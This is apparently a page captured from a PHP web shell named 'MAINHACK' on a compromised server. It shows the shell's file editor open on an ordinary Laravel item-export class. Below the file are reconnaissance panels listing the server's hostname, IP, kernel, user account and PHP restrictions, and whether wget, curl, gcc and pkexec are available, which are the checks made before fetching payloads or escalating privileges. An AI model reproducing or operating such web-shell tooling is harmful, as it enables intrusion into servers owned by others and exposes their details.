[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ItemsExport.php
<?php namespace App\Exports; use App\Repositories\ItemRepository; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithMapping; class ItemsExport implements FromCollection, WithHeadings, WithMapping { /** * The items repo repository */ protected $itemsrepo; public function __construct(ItemRepository $itemsrepo) { $this->itemsrepo = $itemsrepo; } //get the items public function collection() { //search $items = $this->itemsrepo->search('', ['no_pagination' => true]); //return return $items; } //map the columns that we want public function map($items): array{ //get sold data from lineitems $count_sold = \App\Models\Lineitem::where('lineitem_linked_product_id', $items->item_id) ->join('invoices', 'lineitems.lineitemresource_id', '=', 'invoices.bill_invoiceid') ->where('lineitemresource_type', 'invoice') ->where('bill_status', 'paid') ->count() ?? 0; $sum_sold = \App\Models\Lineitem::where('lineitem_linked_product_id', $items->item_id) ->join('invoices', 'lineitems.lineitemresource_id', '=', 'invoices.bill_invoiceid') ->where('lineitemresource_type', 'invoice') ->where('bill_status', 'paid') ->sum('lineitem_total') ?? 0; $map = []; //standard fields - loop thorugh all post data if (is_array(request('standard_field'))) { foreach (request('standard_field') as $key => $value) { if ($value == 'on') { switch ($key) { case 'item_created': $map[] = runtimeDate($items->item_created); break; case 'item_description': $map[] = $items->item_description; break; case 'item_unit': $map[] = $items->item_unit; break; case 'item_rate': $map[] = runtimeMoneyFormat($items->item_rate); break; case 'item_category': $map[] = $items->category_name; break; case 'item_notes_estimatation': $map[] = $items->item_notes_estimatation; break; case 'count_sold': $map[] = runtimeExcelNumberFormat($count_sold); break; case 'sum_sold': $map[] = runtimeExcelNumberFormat($sum_sold); break; default: $map[] = $items->{$key}; break; } } } } return $map; } //create heading public function headings(): array { //headings $heading = []; //lang - standard fields (map each field here) $standard_lang = [ 'item_created' => __('lang.date_created'), 'item_description' => __('lang.description'), 'item_unit' => __('lang.unit'), 'item_rate' => __('lang.rate'), 'item_category' => __('lang.category'), 'item_notes_estimatation' => __('lang.notes'), 'count_sold' => __('lang.number_sold'), 'sum_sold' => __('lang.amount_sold'), ]; //standard fields - loop thorugh all post data if (is_array(request('standard_field'))) { foreach (request('standard_field') as $key => $value) { if ($value == 'on') { $heading[] = (isset($standard_lang[$key])) ? $standard_lang[$key] : $key; } } } return $heading; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002